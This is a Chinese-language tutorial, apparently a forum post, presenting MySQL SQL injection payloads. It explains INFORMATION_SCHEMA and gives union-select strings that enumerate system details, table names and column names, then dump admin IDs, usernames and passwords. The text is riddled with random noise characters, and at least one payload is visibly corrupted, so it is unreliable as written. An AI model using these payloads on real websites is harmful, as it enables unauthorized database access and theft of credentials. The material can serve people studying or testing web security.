本文介绍MYSQL盲注的一些语句和方法
+ M1 P; ]1 r0 ? F; B7 i! A7 w8 F2 L+ R0 w) ?# S. `
学习盲注前先了解下 IFORMATION_SCHEMA 库
0 k0 x. X6 d+ B4 @: W
1 P) U R( q9 c' iMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有4 J) `' J3 n! C. ~
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。7 ?3 y8 g& r, P
1.得到所有数据库名:
( z" q1 }3 J7 _, H0 i0 ||SCHEMATA ->存储数据库名的表
$ q5 @' W: f3 k9 u# o|---字段:SCHEMA_NAME ->数据库名称
1 T! B/ F4 l f2 Q& G! h3 Y# }$ G" c$ x+ h" o$ n
|TABLES ->存储表名, N; g3 m/ [3 K8 Q
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
, q, P& w/ T3 g- [! W|---字段:TABLE_NAME ->存储表的表名
" d4 R D$ a W$ ]" U$ _% [ M. {! J/ ~( y1 i& @
|COLUMNS ->存储的字段名表" T6 A4 F2 d% W8 z, v
|---字段:TABLE_SCHEMA ->该字段所属数据库名; I* i4 w: Y/ ?- \+ k; A
|---字段:TABLE_NAME ->存储所属表的名称
- S: b5 m& A |% ^5 \8 C4 o) D" _9 N
|---字段:COLUMN_NAME ->该字段的名称
; ~5 G' a% h+ s& j) S! y1 R' l: A# q7 y" v. F
: M1 r3 H" z7 p& ~3 [
$ C: p. B: t! w. c2 |###########################################################################
* ~( \/ @2 L V9 T( h4 [ X# j3 ~+ e
0x001 获取系统信息:8 c1 |0 E5 M7 H$ a% r0 d
( e `0 G8 z) l' S8 ?/ Q# u k. cunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
$ X0 m( Y" _. Y+ I" ]7 u7 i! ~
- X, y3 M( C6 w6 r/*
i: e) r% a6 h: O1 r
. T3 W* o$ E2 u( l1 y@@global.version_compile_os 获取系统版本
6 q6 p& _* J W3 ^
; \7 E* Q4 S) L@@datadir 数据库路径, Z. A2 W o" V# a/ K! z8 \) \+ a
database() 当前数据库名称
4 ?4 U C: I3 t2 a1 D; p& O0x3c62723e 换行HEX值9 B9 `+ |1 _9 k# g% B1 Q8 t
( w) }0 V( l# F& U1 O
*/6 x& m* a+ D) m0 N4 N+ U8 t D
; |* e. E8 @$ b9 V2 |( e
( ~4 _! m+ P1 v1 [: I5 W7 t$ I
9 ^8 D7 e- e' j( e# I
######################################################################, z* D. O6 ~( v4 p6 k) J
7 ^; e' F' E( k2 ?7 q
0x002 获取表名% f# E' @( x, {" l
% i) L+ L/ ~ B( x' J7 F
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*- F; W# d, p; K2 b
0 Q) n' I, Q1 o/ k( r1 K& Y
/ c0 T; U; U y) t, ]9 @
+ D$ y5 D4 m+ f- |; X# Q3 r
/*& y: c E5 a- d2 l& x$ @
; v4 [) ]" c7 M2 D' F0x67617264656e 为当前数据库名
# \, U! ~4 G. }
* _3 y2 l/ A& R+ l# ~9 @0 ngroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
* w& Q) r4 u( p$ s
6 T' }' J% U; k4 ?" y4 z*/# }# K h- {/ e0 \( M
; h6 l% j: \, V7 Z& [######################################################################; L5 _1 |6 k- m, @2 R3 @1 i
4 ^! h- U9 ^6 e& n3 ] ; S8 F: [5 r5 ?/ G8 f
& r* P) h4 b _4 w# b0x003 获取字段2 I; U! x( W8 x; v
/ c ^, J; a7 e! Z
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*- _/ _+ c/ f6 W; q
0 U+ G# v" ]6 C/*8 s$ m" S1 f: d) A0 Q" _: C
4 i2 f0 a" _# b1 Z* N! H1 c1 v
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段3 `& |' d& ~6 A+ i. ^' B
) ?/ [+ g6 m- b. P9 b1 f( E0x61646d696e ->选择一个表
6 s& U+ A) I4 h6 e4 s- v- L# ~, q p0 c- Y7 r, w* ~/ J
0x67617264656e ->数据库名4 h3 O! k* i6 A1 h; f
$ }% h9 [2 h( g0 M, N*/
1 u+ i/ B1 V0 O- u( ^# U0 C
0 Q3 m3 ^9 \8 f/ C) G#####################################################################1 l( d; ]8 b& W
. P" {( C5 T$ S- M
8 V/ U$ C' U! t2 E% ?4 f3 j! G) j A/ @( N/ e( R
0x004 获取数据
5 \5 X* R3 j5 ?, {
( c6 _, X# O# D! N$ E+ nunion select 1,2,3: b1 \) U* f, c6 z
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
- @$ ?0 Z% ]6 f4 x2 r+ i6 I
& I# y0 x/ L$ i' [% Eunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin6 c( A8 n' [0 S7 h) [# Z
5 k) R9 [5 X4 `& N9 y& {4 W
9 X. b( b6 U# v x/ B! k2 h$ S* R3 o! @0 O9 R- M' |9 M$ B, t
/*
* l4 x0 ?) D: r" M4 w, E8 E1 e8 Q6 h8 D& Y8 q
0x3c62723e 换行符号HEX编码8 Q5 n3 F. R: K4 u) ]" k: A- U& V
2 Q, K/ Z1 l- _
group_concat 同时获得该字段所有数据
; V4 [! Q* h3 X$ s. Y
% _5 r" o' L1 ?% X( C ?5 n1 E! ]*/0 T0 ~* L; |' S: q, Z- |# P3 U1 ?. {6 [
4 x5 j( O+ v4 _; G/ B+ q |